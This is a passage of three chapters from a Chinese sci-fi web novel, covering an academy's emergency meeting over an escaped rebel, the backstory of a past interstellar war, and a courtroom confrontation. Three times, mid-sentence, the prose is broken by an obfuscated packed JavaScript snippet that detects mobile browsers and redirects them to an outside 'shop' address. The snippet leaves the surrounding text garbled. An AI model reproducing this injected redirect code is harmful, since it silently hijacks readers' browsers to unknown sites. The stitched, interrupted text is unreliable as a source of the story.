尽管危机管理局的公关部门已经在竭力封锁消息的流通,但奈何这只越狱反叛者的行事实在太过高调,有不少目击者都目睹了霍尔的踪迹。 各种角度的照片与动态live图出现在了星际网的实时热搜广场上,一时间,各种声讨的论调铺天盖地。 〖狗*管理局,难不成都是一群吃干饭的吗?〗 〖克里斯的校长能不能出来解释一下,你校的安保系统到底是抽风还是瘫痪了?竟然能让一个穷凶极恶的反叛者混进去!〗 〖三问管理局局长:一、为何会出现反叛者出逃的事故?是否与管理人员的懈怠有关?二、事发当天的监控录像是否会向公众公开?该反叛者的详细信息何时公布?三、此人进入克里斯的目的是什么?是否有伤害学生的意图?〗 〖@星际危机管理局必须给我们普通群众一个解释,要求此次事故调查报告全面公开!〗 〖……三百年前的那段历史难道要重蹈覆辙了吗?我的预感一直很准来着,这简直就是个预兆!〗 〖上面那位能不能不要大白天说丧气话?狗屁的阴谋论者都一起下地狱去吧!〗 这次“越狱”事件爆发的时间点实在是不如意,让本就深陷舆论漩涡的克里斯军校成为了众矢之的。 人们的言语中蔓延着恐慌,他们无一不在逃避着什么──反叛者,以及那场不被允许讨论的战争。 * 克里斯军事学校。 厄斯在第一时间召集学校董事们进行紧急会议,当她与雪莱会长一同走入行政楼时,同时也看见了刚刚下星舰的邬明仪和她身旁的邬泽。 “许久未见,厄斯校长。”两个女人礼貌性地握了握手。 邬家家主和邬家长子都亲自参与此次紧急会议,这在厄斯看来又是件麻烦事。 他们对此次事件的关心在一定程度上反应了外界的动乱,同时这也将进一步加重人们的恐慌与质疑声。 而邬明仪来到克里斯的理由很简单,邬家在这所学校也占有了一定比重的股份。兹事体大,她一听到风声便直接中断了重要会议,匆匆赶来这里。 至于邬泽,一旦有关反叛者踪迹的地方,都绝少不了他的身影。 当然,其中也有一小部分原因是因为弟弟妹妹们也是众多考核学员中的一员。身为年龄最大的长子,一个足矣比肩父亲的角色,他需要亲自确保家人的安全。 厄斯朝着邬明仪点头,示意她一起进去。各自的秘书跟在两位西装革履的女人身后,脚步声沉稳而整齐,就像一支气势磅礴的军队。 邬泽自动和队伍末尾的梅瑟走到了一排,两人并没有过多的眼神交流,保持着较远的社交距离。 会议室里的董事们已经静候多时,他们个个面色凝重,像挑了千斤的担子似的。有甚者直接开始抽上烟,一边吞云吐雾,一边唉声叹气。 感应门向两边拉开,打破了一贯的沉闷气氛,脑袋一排排抬了起来。然而,当他们看见厄斯身边的女人时,表情各异。 他们的打量并没能持续多久,毕竟紧随其后的大指挥官气场实在太强,一个简单的冷扫,直接把那些目光全部打了回去。 邬家的二位落座在厄斯的两侧。 圆桌中央是几道细密的光束,应该是为接下来的全息投影做准备。厄斯看了看正对面的数据虚影,“Dr.X,麻烦你复述一遍事情经过。” 座位上的虚影微微张口,用不到一分钟的时间,简略概括了从“拟合体”到“反叛者入侵”的全部经过。 到最后还不忘补充一句,“幸好雪莱先生慧眼过人,不然还无法确定那只拟合体会在学校里掩藏多久呢。” 被突然提到的青年只是简单地扯了扯唇角,看不出有什么情绪。 “雪莱……”邬明仪低声沉吟,直直看着不远处的青年,坊间的风言风语听得多了,自然会多一层滤镜。 和女人想象中不同的是,青年确实继承了母亲的美貌,眉眼间天生带着几分勾人的秾丽,可骨子里却具备了一股说不清道不明的疏离感。 他的左耳耳边嵌着一只贝壳耳钉,银闪闪的,很能吸引人的注意力。几乎所有人都在看向他,不知是被那张容貌吸引了,还是为了给Dr.X一些面子,又或许二者皆有。 青年高昂着头颅,全数接受四处射来的一切目光,善意的、恶意的、贪婪的、欣赏的……他的唇角虽在上扬着,眼中却没有一丝笑意。 大概唯一对此不感兴趣的只有那位大指挥官了。 邬泽冷眼翻看着秘书递过来的资料,上面是反叛者赫伯特·霍尔的详细信息,出生日期、种族血统、家庭背景、人生经历…… 他的目光落在追缉负责人的那一栏上。 001号。 “他逃往了哪个世界?”尽管心中已经隐约有了答案,但邬泽还是抱着一丝希望朝Dr.X问道。 “C-012。那里的任务者是邬家兄妹和……嬴欢。”虚影不疾不徐道。 “你说什么?”邬明仪不禁站起身,手里的杯子隐隐抖动,水面晃动不已。 为什么,为什么偏偏会是她的三个孩子? “请冷静一些,邬女士。”Dr.X放轻声音,试图让眼前的人类消消火,毕竟谁知道下一秒那个杯子会落在哪里呢? “明明当时你也在场,为什么不阻止他。”邬泽将手里的资料摔在虚影的面前,一字一句地质问。 没有人敢掺和这场争论,但早就有很多人看这个智能体不顺眼了,巴不得让大指挥官好好修理修理他。 “第一任校长聘请鄙人的合同里并没有此项义务要求。”电子合成音徐徐道来,偏偏还让人挑不出什么毛病。 指望一个算法和数据堆叠出来的家伙遵循人类社会的道德底线,至少在Dr.X身上是行不通的,毕竟他的算法中从未包含过所谓的伦理道德准则。 他注视面前的人类、注视树上的猿猴、注视池中的水鸟,这三者在他眼中并没有什么区别。 他既不会干涉猿猴间的求偶斗争,也不会干涉水鸟间抢夺食物的行为。同样,他对人类间的攘夺杀戮也保持着中立的态度。 哪怕眼前的一双双眼睛都充满了愤怒,但那又如何呢? 他们总不能上来撕烂他的脸吧? 气氛霎时间变得剑拔弩张。 每个人都处于神经紧绷的状态,哪怕是弥散在空中的烟雾也带不走他们的满额焦愁。 “我们到底还在讨论什么?还不赶快终止考核!”一个男人将烟蒂扔进茶杯里。 “你觉得呢?”厄斯望向Dr.X,虽然他的想法通常都很无由头,但这里确实没有人比他更了解矩阵的运行。 “矩阵一旦开启便无法人工干预,如果强行终止进程,只会对学生们的精神造成不可逆的损害。”虚影直接驳回了那个男人的建议,或者说牢骚。 “你又装他妈什么正人君子,要不是你,那个叫霍尔的怎么可能会被放进来!” 脾气暴躁的男人抄起茶杯、烟盒,泄愤般地朝着Dr.X砸去。然而,那些飞行物只是穿过了虚影,砸在了大理石瓷砖上,碎成一滩齑粉。 “停手!”厄斯的声音响彻整个会议室。 明明没了那三位难对付的院长,竟然也能闹成这种场面,而且还是在狄兰首富与最高指挥官的面前,简直成何体统! “诸位既然都是学校管理层的一员,何必把场面闹得这么难看。” 邬泽身上的冷冽气场一如既往压得人喘不过气来,他的话可比厄斯的咆哮要好用得多。 “我们坐在这里为求一个解决方案,而不是同室操戈。” 几个男人在邬泽的警告般的目光下,只好愤愤地坐回自己的位置上。 邬明仪的手伸向自己的秘书,秘书立马把霍尔的资料递了上去。谁知女人看也没看,摇了摇头,直截了当道:“烟。” 秘书连忙道了声“好”,将烟盒打开递到她的手心里,同时拿出一只小型打火机。 虽然邬明仪极少抽烟,但秘书总会在身上备着一盒味道浅淡的烟草,以便不时之需,今天的这盒烟还是第一次开封。 烟丝点燃,唇里吐出一口浅浅的烟雾,烟盒随手扔在面前的桌子上,心中的烦躁却难以平息。 邬明仪的嗓音染上沙哑,眼前一片飘渺的薄雾:“想必大家也都知道,近些年来反叛者层出不穷,作风明目张胆。霍尔的出逃或许正是传递了某种信息──” “……”众人陷入沉默。 他们都明白邬明仪的话外之意,反叛者正在卷土重来。 * 三百年前的「反叛者战争」给人类敲响了第一声警钟。 战争的发起者是一个名为「灰鲨」的军火商,至于它到底是庞大的团伙组织,还是个体商贩,无人知晓。 但有一点可以确定的是,灰鲨对整个星际野心勃勃。它启动了漫长的星际殖民计划,短短十几年间,通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044487|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过大大小小的战争将无数星球收入囊中。 由灰鲨一手挑起的战争严重影响了边缘族群的生存,许多族群的栖息地被人类用核武器强行毁灭、占领。 不少物种在一夜之间灭绝殆尽,余下的族群饱受蚕食。 战火逐渐蔓延至一个并不起眼的星球──利亚星球。在那里,以狼族为首的异族们奋起反抗,用嚎叫声向远方的星舰示威。 以火力而著名的军火商并没有将这些狼群当回事,如果一颗核弹不够,那就来十颗。 然而这一次,灰鲨的火力攻势并未起效。 一个名为伊科翡的女人站在狼群之前,她在这片广袤的星球上搭建了一座基地,在球体外层布下超过80%星球表面积的隐形防御网,轻易地拦截下了所有炮火。 有数十辆飞行器秘密降落在伊科翡所在的星球上,试图安装炸药捣毁整座基地。 但数量庞大的狼群们早就埋伏在一边,三两下便将这几个持枪的家伙送入了地府黄泉,仅有两人驾驶飞行器逃离狼爪之下。 驻守在利亚星球附近的灰鲨舰队不得不暂时退离,可伊科翡的反击才刚刚开始。 在灰鲨舰队撤离后的24小时内,一场足矣改变人类历史的病毒爆发了。最开始的传染源是舰队中的队员,病毒通过肢体接触极速传播,短短两天内,整个舰队全军覆没。 这种烈性病毒的潜伏期极短,繁殖能力极强,就连全封闭式防护服也难以抵挡病毒的入侵,医护人员的感染率随之升高,不少医院都成为了传染源大本营。 在这场恶性循环之下,人们渐渐意识到这种病毒或许正是来自遥远的利亚星球,而在那颗星球上,有一个神秘的名为伊科翡的女人。 这场病毒的爆发正是伊科翡的反击方式,故意让飞行器登陆在利亚星球上,又故意放两只传染源逃离,她身边的狼群便是这种烈性病毒的自然宿主。 没有人敢忘记那段血雨腥风的记忆──它承载了太多生命的代价,一亿五千万。不同的星球,相同的命运。 人族与异族就此反目成仇,当年的战争领导者伊科翡被全民审判,人们称之为反叛者、背叛者、彻头彻尾的战争犯。 至于灰鲨,没有人知道它的踪迹,像是一夜之间直接蒸发了般。 它犯下的恶果由无数无辜的生命来肩负。 所有被其占领的星球中的原住民所剩无几,到处都是废墟、尸体、伤员。 大量的富人瞄准了这座现成的星球市场,借着人道主义援助的名义,在各个星球里大肆开垦资源。 没有人再去关心逝去的异族生命们,它们的尸骨成为了被嫌弃的垃圾,被挖掘,被丢弃,最后被彻底遗忘。 在病毒被完全消灭后的第十年,星际联合政府成立,当届领导者立马对伊科翡以及灰鲨下达了头号星际通缉令。 从此,一颗名为“恐惧”的种子埋没于一代代人的心底。 而伊科翡,彻彻底底成为了人们避之不及的名字。 * 哪怕是街边的流浪民众提起这段历史也会禁不住牙齿直打颤,因为其影响的余波直到现在都未能消散,甚至有愈演愈烈的势头。 近几十年来,自称“反叛者”的人越来越多,借着反叛者战争的影响力与名号,对人类社会发动各种层面上的袭击。 当然,其中也有相当数量的异族助纣为虐。 譬如这次越狱的赫伯特·霍尔,其身体里就有一半的血族血统,危害指数至少比普通反叛者高两个等级。 “我相信她,她可以渡过这场难关。”厄斯在沉寂中开口,她环望着情绪低迷的众人,麦色的手指紧紧交叉在一起。 是“她”而不是“他们”。 在场凡是知道少女马甲的人,基本都知道霍尔是奔着谁去的。 邬泽静静摩挲着金属袖扣,锋利的眉尖微微抽动,提出了他的忧虑:“她的精神值恐怕撑不了多久。” 一轮新的沉默到来。 是啊,他们怎么会忘了这码事! “不。她可以。”邬明仪的眼眶里蒙着一层水光,向着冷淡的男人又重复了一遍,“她一定可以。” 邬泽哑然。没有再说话。 “准备发布致歉声明吧,先控制好大众的情绪。”厄斯朝着身侧的秘书道,“通知警局的人,让他们提前到矩阵前待命。还有,把白无知院长叫到我的办公室。” 她们现在唯一能做的只有等待。 以及,向上天祈祷。 39. C-012(十九) 少女在偌大的乐园里打转了许久,基本熟悉了这里大致的结构和排列,可尽管如此,还是怎么都找不到出去的路。 也不知道尤拉那家伙到底跑哪儿去了。嬴欢眯着眼睛,看着天上几乎停止流动的云,最后叹了口气。 无奈之下,她只好再次回到了乐园入口。 她停在两米高的天使喷泉前,它的眼睛停留于脚下的草地上,手里抱着一只风琴。 巨大的石雕喷泉像宴会厅里璀璨的香槟塔,水流从最中央的柱子里喷涌向天空,在最高点分散成无数颗流沙般的水珠。 它们向下一层坠落,再坠落。直至落入清澈透明的泉底。 正当她打算暴力破坏这里的设施的时候,世界突然变得天昏地暗,周身的空间不断扭曲,冰冷的刺痛感从脊椎骨一直向上攀爬。 好冷。就像被浸泡在冰川水中,皮肤底下的血液在一瞬间全部倒流。 水珠从她的头顶流淌至耳廓,再到肩头,最后又像无数河流分支般,一同汇集至脊椎底部。 少女猛然睁开双眼,呼吸粗喘。她早已忘记这是第几次重复这个动作,但这一次,她的面前是一张熟悉的脸。 墨点似的瞳孔刺在她的身上,里面隐含着些许看不懂的情绪。 “终于把你的魂招回来了。”邬涟讽刺般的摇了摇手里的烧水壶。 他倚靠在她面前的餐桌上,长腿略微交叠,一缕湿发被他的手指勾住。另一只手将空荡荡的水壶随意扔在了地板上,发出一声闷响。 至于里面的凉白开都去了哪里,一眼了然。 嬴欢用手指抹掉脸上的水,勉强睁开了眼睛,但睫毛依然湿漉漉的。 此情此景,她的心头滋生出一股阵猛烈的、想要撕碎眼前人的冲动。 真该杀了他。脑海里只剩下这一个想法。 “你都已经在这儿发呆半个小时了。我正准备下一步做心肺复苏呢。” “……” 阴恻恻的目光落在他的身上,邬涟的眸色迟疑了几秒钟,几乎就在下一刻,一道劲烈的拳风直直朝着他的面部而来。 瞳孔骤然缩紧。 几缕红毛像裙摆似的荡漾了几下,露出半截光洁的额头,很快又降落回原处。那双浓而密的睫毛微微颤动着。 双臂像在空中的飞舞的塑料袋般挣扎了几下,在未察觉到后续的痛意后,终于小心翼翼睁开眼。 坚实的指骨在距离鼻尖一毫米处精准地停了下来。 “你……” 邬涟露出一副难以置信的表情,紧紧盯着她暗沉的眼睛,心脏快要跳出他的口腔。 嬴欢的拳头隐隐发白,小臂肌肉一阵又一阵地收缩,牙齿彼此间紧密契合,酸意从两边的咬肌往外翻涌。 天知道她用了多大的力气才忍住没把拳头砸在他眼睛上。 就在刚刚拳头挥出去的一瞬,时间仿佛变慢了,足矣清晰看见他的瞳孔如何在微秒间应激收缩。 而就在那一刻,她听见无数虫群的嘶鸣,如同一张隐形的丝网,密密麻麻地穿透她的毛细血管,直抵灵魂深处。 全身有一股热烈的暖流拂过,像风吹过草地,以柔克刚般地压制住了她心中的狂躁。 嬴欢缓缓退后,跌倒在陈旧的沙发上,大口吞咽着周围的空气,眼神逐渐从浑浊变得清明。 空气安静了半晌。 “对不起,我的精神状态一直不怎么样。”短短一句话基本都是从嗓子里发出的气音,她低垂着脑袋,没有看他哪怕一眼。 “……” 一句对不起就能掩盖一切吗? 邬涟两步走上前去,一把提起她的衣领,他死死注视着她的眼睛,想要从中得到一些答案。 你怎么了,你到底怎么了? 邬涟无比冲动地想要说出口,甚至字已经到了嘴边,但还是被他生生吞了回去。 墨黑的瞳孔仍然沉沉地垂着,对他威胁般的动作毫无反应。 她什么都不想告诉他。 “好……”邬涟狠狠松开了那两道衣领,双唇被他自己咬出了明显的深痕。 他不应该去窥探她的。 他们甚至算不上熟悉的朋友。 * 因为巨大的惯力加外力,她再次倒进沙发里,手肘磕在边缘的木质扶手上,一股麻木的感觉迅速升了上来。 “你的语气里可没有一丁点儿抱歉的意思。”声中带着明显的忍耐,但从表情也能看得出他的不爽。 假惺惺的面目可真是恶心,他在心中唾弃道。 直到现在邬涟还是忘不了实验室里一记手刀之仇,现在恰好又可以在小本本上多加一项了。 嬴欢揉着肘部,终于施舍给他一个眼神。 “你应该感谢我才对,如果那一拳真砸下去了,我可不确保你还能不能再醒过来。”她冷嗤一声,两只纤长的眉毛厌恶地折在一起。 “呵——”邬涟习惯性地想要反驳,但又不想和她再产生什么无用的交流,干脆别过了身。 窗户照常打开着,一股热风从空荡荡的窗口吹了进来。 嬴欢脱去被水浸湿的外套,深色的发丝像无数只章鱼的触手般,牢牢粘在她的耳侧,耳后的软骨处激起一片细密的疙瘩。 她抽出几张纸巾,一点点地抹去头发和下巴尖上的潮湿,最后将湿透的纸巾抛入垃圾桶内。 他们间谁也没有说话,只剩下将死的夏蝉在楼下树丛里疯狂地嘶嚎着。 嬴欢的发差不多快干了,窗外的风似乎也停了下来。 她望着眼前的身影,像是妥协般张了张口。 “我会把她们带回来的。”她说。 那身影一滞,几乎是下意识地回嘴:“你最好是。” 嬴欢不答,把电脑上U盘拔了下来,放入透明的塑料袋里。 她将小小的塑料袋提了起来,直至它遮住遥远的日光。 等我。 她无声地张了张唇瓣。 * 自打霍尔出院后,他的别墅居所便围满了记者,距离上次的警方审讯已经过去了半月之余。 根据警方透露,赫伯特·霍尔拒不认罪,也没有承认研究所和人体实验等相关指控。 就在控方焦头烂额的搜集更多额外证据时,一个出乎意料的证人出现在了大众视野。 准确来说,是她自己找上门的,并且无比高调。 “嬴小姐,您所说的有力证据是有关哪方面的?” “我们愿意高价购买您一部分的证据资料,用于独家报道。” “嬴小姐……” 嬴欢站在警察局的大门前,台阶下聚集了相当多想要赚取头条的记者,他们互相挤来挤去,像抢食的狗群。 咔嚓。咔嚓。 镜头之下,是十五六岁大的少女。 整个人像一根被斧头削去四只角的木柴,瘦弱、干瘪。她的四肢布满了许多无法消退的疤痕,如同一层将落未落、姿态斑驳的树皮。 双手垂在大腿的两侧,手心的薄茧清晰可见。忽然,她朝着人群挥了挥手,示意他们安静下来。 “各位,所有证据目前都已经移交给了检察院。因为保密协议的缘故,我无法透露更多具体信息。但我可以保证的是,它绝对能够给赫伯特·霍尔定罪。” 她笃定的语气迎来了更多的提问,闪光灯此起彼伏,喧闹声络绎不绝。 但也有人对此表示怀疑,之前也有不少发声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085271|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的受害者,他们赢得了记者们的青睐,获得大量的曝光。 但不知因何缘由,临近审判日,那些获得了大量报道的证人们竟临时退出了此次指控。这导致控方的诚信度一度降低,对证人的抉择上越发谨慎。 谁知道这次突然冒出来的少女是不是也会像之前那些人一样,为了博出名什么都做得出来呢? 在少女走下台阶时,一个记者把收音设备放在了嬴欢嘴巴旁边:“你有什么想对霍尔先生说的吗?” 嬴欢停下脚步,像一根生锈的钉子般扎在原地。 人们的眼里无一不冒着精光,直直等待着她的下文。 她侧过身体,抓取其中一个镜头。 少女的脸庞宛若当下最热门的商品,被多角度、全方位地拍摄、记录。 闪光灯伴随着快门声,足足三十秒后,她终于张开了口,冰冷的眼神足矣穿透镜头:“我的朋友在半个月前被人绑架,如果你清楚她的踪迹,请立刻马上把她还给我。” 众人大骇,有人被绑架了?! “嬴小姐,请问被绑架的人叫什么名字呢?” “嬴小姐,这件事和赫伯特·霍尔有什么具体关联吗?” “请问警方是否在跟踪调查这件事?” 他们的疑问被少女抛之脑后,她挥开人群,弯腰进入警方的车里。 有几个不愿放弃的人猛然敲打车窗,车子在人潮中艰难行进。 “嬴小姐,我们现在送你回酒店。”一个女警员安抚般地递过一张纸巾,嬴欢擦了擦鼻尖的薄汗,心中平淡如冰。 “这场失踪案我们警方正在跟进,邬蘅是我们的同事也是我们的伙伴,我们真的很抱歉会发生这种事情。” 前些日子在嬴欢几经暗示下,警方终于发现了邬蘅失踪的事情。 邬蘅作为警方的一员当然会得到上层的重视,几乎整个警察局三分之一的警力都花费在了“邬蘅案”上。 “该说抱歉的人是我,我忍不住把这件事在记者面前说出了口……” 警员透过后视镜注视着那张苍白的容颜,灰色发丝像几截干枯的树条,恰好遮住了两只耳朵。 本该清炯的眼睛像被地平线埋没的日光,周围堆叠出浓厚的黑眼圈,清瘦的双颊被眼泪浸湿了一大片,水光若隐若现。 任谁看都会觉得是个可怜的小孩儿。 警员叹了叹气,“不必自责,嬴小姐。我们十分理解您的心情。您作为控方证人受到的压力实在太多,希望您可以保持平静的状态面对三天后的开庭。” 少女用纸巾点了点薄红的眼角,声线微弱,“谢谢。您真是个好人。” 警车在马路上极速行驶。 很快,嬴欢回到了控方律师给自己安排的酒店。这里的安保还算不错,至少不用再担心媒体们的骚扰。 关上房门。 嬴欢心头总算放下了一块大石,卸下在警员面前那副柔弱易碎的模样。 她一路褪下自己的衣物,跳进大床里,直直盯着水晶灯。 她是故意散播那条消息的。 她甚至已经能料想到明天早上的头条版面会多么精彩了。 少女缓缓勾起一个笑容,其实那些话不止是说给霍尔的。更重要的是,她完完全全在暗示另一个人──074。 她相信他一定看得到她的喊话,他也一定能明白她是在说给谁听。 这就是嬴欢选择成为证人的最主要的原因,此举风险极高,一个不小心就会把自己搭进去。 但,总要亲自涉险才会清楚对方的底线。 她无比希望074能够应邀前往这场盛大的赌约,只要他敢踏入这片漩涡,她就一定会让他粉身碎骨,永世不得超生。 40. C-012(二十) 三天后。 整个庭审现场座无虚席,人声鼎沸。 全城报社都恨不得挤进旁听席去,然而本次庭审并不对外公开,这可真是让他们叫苦不迭了。 由于赫伯特·霍尔被法庭认定为危险人物,将全程带着金属手铐进行审判。 庭审很快到达举证阶段。 嬴欢在法警的指引下来到了证人席位,抬起眼眸,与被告席位上的男人遥遥对视。 他与上次见面时一模一样,无论是神色、姿态、甚至头发的弧度,都与印象中的没什么不同。 他现在一定恨她恨得牙痒痒吧,少女无感情地扯了扯嘴角,目光冷冽。 不仅在现实世界中被欺骗,在虚拟世界里竟然又上演了一出重蹈覆辙。每次都要栽在同一个坑里,真不知道是该说他蠢,还是别有用心呢? 在法官的引导下,嬴欢拿起台面上的证人宣誓书,她沉着声音朗读道: “我向法庭宣誓,以我的人格及良知担保,我将忠实履行法律规定的作证义务,如实陈述,毫无隐瞒。” “现在呈上控方证物──” 一份装着U盘的物证袋被带了上来。 那正是嬴欢的“万能”U盘,当初在集团拷贝了商业机密的那个。 当然,霍尔也在同一时刻确定了那只U盘里的东西。他就知道这女人闯进自己的办公室后,压根不会空手而归。 霍尔十分放轻松地望着她,像一只黑暗中紧盯猎物的鹰隼。 对于他而言,这场博弈才刚刚开始。 * “别来无恙,没有心的家伙。” 是谁在说话? 嬴欢警惕地抬起眼睛,望向霍尔。 他在──说话? 唇瓣明明没有任何张开的痕迹,为什么她会听到他的声音? “怎么看起来这么惊讶?” 法官和律师的声音在同一时刻消失了,只剩下那道幸灾乐祸的声音在耳畔回荡。 “别担心,你很快就会习惯的。”霍尔的眼睛微微弯起,连带眼皮上那道疤痕都和煦了不少。 嬴欢凝眉思索,目光忽然一怔,“血。”是因为霍尔给她灌了他的血液。 她并不清楚他的血液有什么作用,但目前看来,他们两个已经可以通过心声对话。 “猜得不错,还算聪明。” 她转头看了看四周,无论是法官、律师还是陪审团,他们都处于静止的状态。 “别再看他们了,你应该看看我才对。”霍尔举起被禁锢的双手,“咔嗒”一声,金属手铐自动脱落。 “你这是在藐视法庭。”她镇静道。 “算吗?”霍尔从阶梯缓缓走了下来,一步步向少女靠近,“可惜,在他们的眼中,你仍然在回答律师的问题,我也仍然老老实实地待在被告席。” 嬴欢看向时钟,指针仍然在一分一秒地转动。 “你到底做了什么?” “你明明都猜到了,我动用了血族的一点儿手段。” 他将他们两人彼此的意识统一在这个空间里,媒介是他自己的血液。 嬴欢闭了闭眼,血族又是什么东西?能不能把概念讲清楚点儿? “哦。也是,你已经忘记这些东西了。” 连她现在在想什么都能窥探到!嬴欢的怒意又提升了一个等级。 反正事已至此,她正好也有很多话想盘问他,她直直将目光落在他的身上。 “我问,你答。” “你为什么会觉得我会配合你?” 嬴欢浅浅一笑,“我知道你很想报复我,可又根本打不过我。你觉得在这种情况下,你有选择的余地吗?” “……” 霍尔轻轻摇了摇头,一声轻哼,“嬴欢,你可真狡猾。” 这才哪到哪,就把狡猾的帽子扣在她身上了?嬴欢皱着眉头,直接道:“别油嘴滑舌的,是不是你的人绑架了邬蘅?” 男人阖了阖眼,声音带着几分落寞:“‘我的人’……我的背后不是早就空无一人了么?” 他的颈部忽然一紧,领带的一端被嬴欢死死扯住,两人间的距离迅速拉近。 “这世上有一个很适合你的词语,它叫自作自受。”嬴欢很讨厌他这副模样,仿佛谁欠他似的。 她从衣服口袋中拿出一张被打印出来的照片,举在他的眼前:“认识她吗?” 那是一个衣衫褴褛的女孩儿,她站在研究所的窗户前,怔怔望着镜头,目光如同死尸一般。 “……”他沉默着。 “说话。”嬴欢再次收紧领带,直到脖子处开始向上泛红,青筋暴起。 “她是你的谁?”男人嘶哑的声音艰难地从声带发出。 在明亮的灯光下,泪花渐渐凝聚在猩红的眼眶中,却被面前的少女刻意忽视。 嬴欢的嘴唇绷得直直的,墨黑的瞳孔宛若深渊:“你认识她,对吗?” 不要。 不要用这种失望的眼神看着我。 霍尔的心跳像一辆横冲直撞的失控轿车,他竭力去抑制这种感觉,可几乎毫无作用。 他想要去触碰她的手,却被狠狠扇了一巴掌,“说啊!说──” 他的脸上留下五个鲜明的指印,可见少女的怒意有多么强烈。 男人的头发微微颤抖,心如死灰地看着她,嘴唇缓缓张开:“她是我的‘合作伙伴’。” 嬴欢有一瞬间的愣神,“合作伙伴”? “我们之间做了一场交易。”他继续说。 “交易的内容是什么?” “这是机密。” 嬴欢二话不说又赏了男人一个巴掌,血丝从嘴角向下滑落,嘴唇越发苍白。 他被她抵在墙上。 “你很在乎她──”霍尔用拇指抹去血迹,浓郁的眉毛聚在一块儿。 “是,我很在乎她。不仅在乎她,我也很信任她。”嬴欢冷冷注视着他的表情,一字一句道。 “信任……呵,真是个恶心的词语。” 他眼底中充满了厌恶,甚至还有毫不掩藏的忮忌,她怎么配提起“信任”这两个字?她怎么配! 嬴欢知道他还在憎恨自己曾经欺骗了他,她缓和了一点儿脸色,轻轻抚摸男人红肿的脸颊。 指尖一路滑至苍白的耳垂,他的耳型很漂亮,没有扎什么花里胡哨的耳洞。 她带着力道捏着他的耳廓,试图让他回忆起一些什么,比如──一些不堪的记忆。 男人抓住她作乱的手,恨恨地说道:“我不会上你第二次当了。” “是吗?可是──是你曾经亲口告诉我,你喜欢被触碰这里啊。”她一本正经地盯着他泛红的耳垂,像饱满的石榴籽。 下一刻,她的嘴巴被霍尔死死捂住。 “闭嘴……” “看吧,其实那段记忆也没那么糟糕──至少让我变得很了解你。”她拂去他的手掌,声音很淡。 “我从来不否认我做过的事情,我是欺骗了你没错,但我毫不后悔。” “呵……你还真是理直气壮。”霍尔被活生生气笑了。 “我以为坦诚一些能让你开心点儿。” “别花言巧语了,不就是想套我的话么。”霍尔也相当了解少女的作风,见来硬的不行那就来软的,不得到她想要的东西就不会罢休。 “所以,这招对你起效了吗?” 霍尔垂下眼眸,吐出一个名字:“斐一然。”算是回答了她最初的问题。 “你果然认识她。” 耳畔的绯红已经渐渐退去,男人盯着她的眼睛:“你了解她多少呢?你真的以为你看见的就是真实?” 嬴欢当然没有他想象中的那么容易相信别人,包括斐一然。但她还是选择说了反话来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128579|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激他,“她是个善良的人,这就够了。” “善良……”霍尔低低地笑了起来,“如果你知道她对村庄里的村民们都做了什么,恐怕就不会这么想了。” 少女神色霎时间变得认真起来,“说下去。” “她是个合格的交易对象,我花了大价钱才购买了她的身体权,你肯定很好奇这场交易的成交额……” 嬴欢屏住呼吸,等待他继续开口。 霍尔被她的表情逗笑,但他的声线却很冷:“是整个村子的人命。” 人命? 所以,李玉清口中那些烧杀劫掠的帮派匪徒其实就是霍尔的人?嬴欢感觉自己的脑袋里一阵嗡鸣。 * 霍尔对这个小女孩儿的印象很深,在从研究人员那里偶然得知自己有特殊的体质后,便主动来找他谈判。 当初她是怎么说的来着? ──我想和你做一场交易,以我的命为代价。 霍尔一开始对她提出来的所谓的交易并不感兴趣,他明明可以直接让人强制对她进行药物实验,为什么还要做平等的交易呢? 但小姑娘性子很坚决,甚至大放厥词。 ──我有无数种自杀的方式,你拦不住一个想死的人。 她对自己体质的稀有性相当自信,笃定了他不会拒绝她的要求。 如果忽视了她的要求,就会变成长久性的隐患,为了铲除后患,霍尔只好与她做了这场交易。 交易的内容简单极了,她让他处理掉母亲死去的那个村庄里的所有人。 杀人放火这种事情对于霍尔来说简直毫无难度,他派遣手下前往那个深山里的村庄,不到两个小时就完成了交易。 至于斐一然,霍尔觉得她算是个言而有信的人,八年来一直乖乖配合研究人员进行实验,毫无怨言。 听完他的叙述,嬴欢的胸口像堵着一块大石头。 一个村子的人,上百条人命。 她大概能猜到斐一然是想报复这些杀害了她母亲的人,但却是以这种方式实现了复仇,少女一时间有些五味杂陈。 “你现在肯定恨透了她吧?毕竟你可是‘正义的化身’,被全星际无数人敬仰的001号。”霍尔很喜欢看这副她与内心作斗争的模样。 空气沉寂了几秒钟。 “不,你错了。霍尔。”嬴欢冷冷地仰起头,“我不恨任何人,我也没有那么高的道德感。” 